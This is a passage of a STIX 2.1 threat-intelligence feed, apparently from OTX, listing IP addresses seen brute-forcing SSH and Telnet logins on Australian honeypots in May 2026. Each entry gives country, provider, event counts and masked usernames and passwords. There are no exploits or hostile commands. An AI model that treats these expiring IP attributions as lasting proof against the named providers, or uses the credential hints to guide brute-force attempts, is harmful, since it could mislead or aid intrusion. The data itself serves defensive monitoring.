      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--e534cf4e-2cd0-4eaf-82cb-7f8f256610ae",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T19:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '221.159.114.178']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T19:15:15.000Z",
      "valid_until": "2026-06-28T19:15:03.000Z"
    },
    {
      "created": "2026-05-27T19:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 433. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 7552. Organisation(s): Viettel Group. Usernames observed (masked): r**t, a***n, u**r, s*****t, *****. Passwords observed (masked): a***n, p******d, 1****6, a******3, *****.",
      "id": "indicator--53e70f87-5a6c-438f-bd5d-31c8c6a57392",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T19:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '27.79.2.71']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T19:15:15.000Z",
      "valid_until": "2026-06-28T19:15:03.000Z"
    },
    {
      "created": "2026-05-27T19:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 24. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): r**t, a***n, o******i. Passwords observed (masked): *, a***n, o******i, p******d.",
      "id": "indicator--48ca531f-9ddb-45bf-86e2-75b79ccc3d80",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T19:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '34.100.174.162']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T19:15:15.000Z",
      "valid_until": "2026-06-28T19:15:03.000Z"
    },
    {
      "created": "2026-05-27T19:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 269820. Organisation(s): FULL DATA COMUNICACIONES C.A..",
      "id": "indicator--aa89de2c-eecd-478d-b8e4-9e05a502e5a4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T19:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '38.43.254.36']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T19:15:15.000Z",
      "valid_until": "2026-06-28T19:15:03.000Z"
    },
    {
      "created": "2026-05-27T19:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--0aad8b1f-7ae8-424f-85fa-9fd2c8ef1200",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T19:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '74.249.192.245']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T19:15:15.000Z",
      "valid_until": "2026-06-28T19:15:03.000Z"
    },
    {
      "created": "2026-05-27T20:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 9808. Organisation(s): China Mobile Communications Group Co., Ltd..",
      "id": "indicator--faa00309-dba0-4894-9fb9-d0c129487f2e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T20:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '112.51.27.82']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T20:15:06.000Z",
      "valid_until": "2026-06-28T20:15:03.000Z"
    },
    {
      "created": "2026-05-27T20:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 17816. Organisation(s): China Unicom IP network China169 Guangdong province.",
      "id": "indicator--80ba0df7-a8f2-4b16-900d-032980a2cbad",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T20:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '120.83.224.78']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T20:15:06.000Z",
      "valid_until": "2026-06-28T20:15:03.000Z"
    },
    {
      "created": "2026-05-27T20:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 142. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: LU. ASN(s): 214472. Organisation(s): Offshore LC. Usernames observed (masked): r**t, a***n, ***, ***, o****e. Passwords observed (masked): 1****6, a***n, p******d, 1********0, 1******x.",
      "id": "indicator--d2a4db10-df1b-4ca6-9e66-a1b4d5604988",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T20:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '176.65.139.203']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T20:15:06.000Z",
      "valid_until": "2026-06-28T20:15:03.000Z"
    },
    {
      "created": "2026-05-27T20:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 218. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 262343. Organisation(s): Net Aki Internet Ltda. Usernames observed (masked): r**t, a****e, n***x, u**r, u***1. Passwords observed (masked): 1****6, !******r, !******X, !******X, 1****1.",
      "id": "indicator--d7311ebd-fc08-46dc-a0c6-aaf9604876a6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T20:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '177.126.132.44']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T20:15:06.000Z",
      "valid_until": "2026-06-28T20:15:03.000Z"
    },
    {
      "created": "2026-05-27T20:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 48. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--5504211e-669e-4ea9-9f6f-3fdeb9e91335",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T20:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '206.135.174.62']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T20:15:06.000Z",
      "valid_until": "2026-06-28T20:15:03.000Z"
    },
    {
      "created": "2026-05-27T21:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--04e06dcf-ba91-4cad-8561-9180ab2c055b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '121.61.88.236']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T21:15:11.000Z",
      "valid_until": "2026-06-28T21:15:08.000Z"
    },
    {
      "created": "2026-05-27T21:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 263154. Organisation(s): AVANCAR INTERNET.",
      "id": "indicator--f15ba0d1-2737-4f2a-8942-6dc8c00bf5f1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '138.59.239.83']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T21:15:11.000Z",
      "valid_until": "2026-06-28T21:15:08.000Z"
    },
    {
      "created": "2026-05-27T21:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 701. Organisation(s): Verizon Business.",
      "id": "indicator--8dd31cde-9e37-4f3e-b31d-b6e5f9aa4c15",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '74.101.10.159']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T21:15:11.000Z",
      "valid_until": "2026-06-28T21:15:08.000Z"
    },
    {
      "created": "2026-05-27T22:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 22. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--f727256a-ef4c-4551-8f5c-eb980f9d0e77",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T22:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '146.190.45.26']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T22:15:05.000Z",
      "valid_until": "2026-06-28T22:15:03.000Z"
    },
    {
      "created": "2026-05-27T22:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--9e3c3b87-4fbd-4709-9d97-c902ad02cda8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T22:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '20.121.46.95']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T22:15:05.000Z",
      "valid_until": "2026-06-28T22:15:03.000Z"
    },
    {
      "created": "2026-05-27T22:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--ed0e4e90-ba02-428c-95f4-ec50312d7079",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T22:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.39']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T22:15:05.000Z",
      "valid_until": "2026-06-28T22:15:03.000Z"
    },
    {
      "created": "2026-05-27T22:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 15. Sensors involved: Cowrie. Target ports: 23. Source country: AE. ASN(s): 209373. Organisation(s): Swissnet LLC. Usernames observed (masked): r**t. Passwords observed (masked): , r**t.",
      "id": "indicator--2291f5bf-2ad1-46ee-9c65-832cee71291f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T22:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '31.56.209.112']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T22:15:05.000Z",
      "valid_until": "2026-06-28T22:15:03.000Z"
    },
    {
      "created": "2026-05-27T22:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 268892. Organisation(s): DBS TELECOM EIRELI - ME.",
      "id": "indicator--a2327370-20d9-4344-81dc-c1e5af429657",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T22:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.175.90.118']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T22:15:05.000Z",
      "valid_until": "2026-06-28T22:15:03.000Z"
    },
    {
      "created": "2026-05-27T22:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Heralding. Target ports: 5900. Source country: US. ASN(s): 215925. Organisation(s): Vpsvault.host Ltd. Passwords observed (masked): 1****6, a***n.",
      "id": "indicator--1d33aabc-cb52-425a-add1-244e1299b425",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T22:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.198.224.145']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T22:15:05.000Z",
      "valid_until": "2026-06-28T22:15:03.000Z"
    },
    {
      "created": "2026-05-27T22:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 17816. Organisation(s): China Unicom IP network China169 Guangdong province.",
      "id": "indicator--1d418f33-e008-46f5-9cf1-ee247696e3e0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T22:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '58.253.180.75']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T22:15:05.000Z",
      "valid_until": "2026-06-28T22:15:03.000Z"
    },
    {
      "created": "2026-05-27T22:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group.",
      "id": "indicator--151ac140-e5b7-4581-bfd3-ad394d13ddb3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T22:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '61.231.155.14']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T22:15:05.000Z",
      "valid_until": "2026-06-28T22:15:03.000Z"
    },
    {
      "created": "2026-05-27T22:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PT. ASN(s): 12353. Organisation(s): Vodafone Portugal - Communicacoes Pessoais S.A..",
      "id": "indicator--e9ebabc4-bfc6-429d-9af2-0c6f094415a5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T22:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '94.61.205.20']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T22:15:05.000Z",
      "valid_until": "2026-06-28T22:15:03.000Z"
    },
    {
      "created": "2026-05-27T23:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 155. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t, d**g, 3**********4, a***n, e*****t. Passwords observed (masked): ***, 3***********4, 3**********4, @*******x, Q*******1.",
      "id": "indicator--6774cace-06d0-4779-97f1-c88fa7325560",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T23:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '165.154.22.124']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T23:15:11.000Z",
      "valid_until": "2026-06-28T23:15:08.000Z"
    },
    {
      "created": "2026-05-27T23:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 28656. Organisation(s): BTT TELECOMUNICACOES S.A.. Usernames observed (masked): a***n, o**o, r**t. Passwords observed (masked): f****************4, o******5, t****n.",
      "id": "indicator--68784dff-81f6-4286-ae2e-98a8474c545b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T23:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '201.77.172.91']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T23:15:11.000Z",
      "valid_until": "2026-06-28T23:15:08.000Z"
    },
    {
      "created": "2026-05-27T23:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 15. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 215925. Organisation(s): Vpsvault.host Ltd. Usernames observed (masked): r**t. Passwords observed (masked): , r**t.",
      "id": "indicator--704248b9-b9a6-4428-843b-db269089ce50",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T23:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.194.92.29']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T23:15:11.000Z",
      "valid_until": "2026-06-28T23:15:08.000Z"
    },
    {
      "created": "2026-05-27T23:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 234. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ES. ASN(s): 12338. Organisation(s): Euskaltel S.A.. Usernames observed (masked): r**t, 3**********4, a***n, h*****t, w*****r. Passwords observed (masked): 3***********4, 3**********4, Q*******1, R*******!, d***a.",
      "id": "indicator--d567e085-ef3d-46c2-8241-4df3042dfb95",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T23:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '81.9.145.130']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T23:15:11.000Z",
      "valid_until": "2026-06-28T23:15:08.000Z"
    },
    {
      "created": "2026-05-27T23:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: RU. ASN(s): 12389. Organisation(s): Rostelecom.",
      "id": "indicator--8c5a690a-e58f-433f-be80-7f402eee8be5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T23:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '95.71.127.158']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T23:15:11.000Z",
      "valid_until": "2026-06-28T23:15:08.000Z"
    },
    {
      "created": "2026-05-28T00:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 166. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t, d****l, 3**********4, a***n, a*****n. Passwords observed (masked): !**************v, 1**1, 1**4, 1******@, 1*******!.",
      "id": "indicator--3d80b490-b15b-487d-a6be-ae4dd4389a05",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-28T00:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '101.36.106.162']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T00:15:10.000Z",
      "valid_until": "2026-06-29T00:15:08.000Z"
    },
    {
      "created": "2026-05-28T00:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 166. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t, a***n, 3**********4, d***n, e*****e. Passwords observed (masked): 1****#, 1*******e, 1**********c, 3***********4, 3**********4.",
      "id": "indicator--c5dd12ba-5d44-419d-ba57-37e7a0782955",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-28T00:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '165.154.6.144']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T00:15:10.000Z",
      "valid_until": "2026-06-29T00:15:08.000Z"
    },
    {
      "created": "2026-05-28T00:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--140b4f45-50fd-4131-9963-22fb0a5dcf8a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-28T00:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '172.178.115.83']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T00:15:10.000Z",
      "valid_until": "2026-06-29T00:15:08.000Z"
    },
    {
      "created": "2026-05-28T00:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: UA. ASN(s): 48438. Organisation(s): Corbina Telecom Llc..",
      "id": "indicator--52ae13aa-53b0-4e85-9d69-7fc861e23d21",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-28T00:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '194.26.167.58']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T00:15:10.000Z",
      "valid_until": "2026-06-29T00:15:08.000Z"
    },
    {
      "created": "2026-05-28T00:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 236. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 215590. Organisation(s): DpkgSoft International Limited. Usernames observed (masked): r**t, 3**********4, a***n, b***d, p**k. Passwords observed (masked): 3***********4, 3**********4, 1**4, 1**8, A********6.",
      "id": "indicator--f74547a4-e3f3-48c6-974c-ec1abffbfa0d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-28T00:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '2.26.62.249']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T00:15:10.000Z",
      "valid_until": "2026-06-29T00:15:08.000Z"
    },
    {
      "created": "2026-05-28T00:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--f7a93c8a-6d9d-4b65-93fb-6fbf6929a659",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-28T00:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '219.132.37.51']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T00:15:10.000Z",
      "valid_until": "2026-06-29T00:15:08.000Z"
    },
    {
      "created": "2026-05-28T00:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 230. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 42831. Organisation(s): UK Dedicated Servers Limited. Usernames observed (masked): r**t, 3**********4, a***n, b***d, p**k. Passwords observed (masked): 3***********4, 3**********4, 1**4, 1**8, A********6.",
      "id": "indicator--380e9d41-59fe-40bc-ad8f-82ce66a44f2e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-28T00:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '5.181.124.7']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T00:15:10.000Z",
      "valid_until": "2026-06-29T00:15:08.000Z"
    },
    {
      "created": "2026-05-28T00:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AM. ASN(s): 49800. Organisation(s): GNC-Alfa CJSC.",
      "id": "indicator--70d2a053-b893-4714-a976-ddb422225c34",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-28T00:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '62.89.29.55']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T00:15:10.000Z",
      "valid_until": "2026-06-29T00:15:08.000Z"
    },
    {
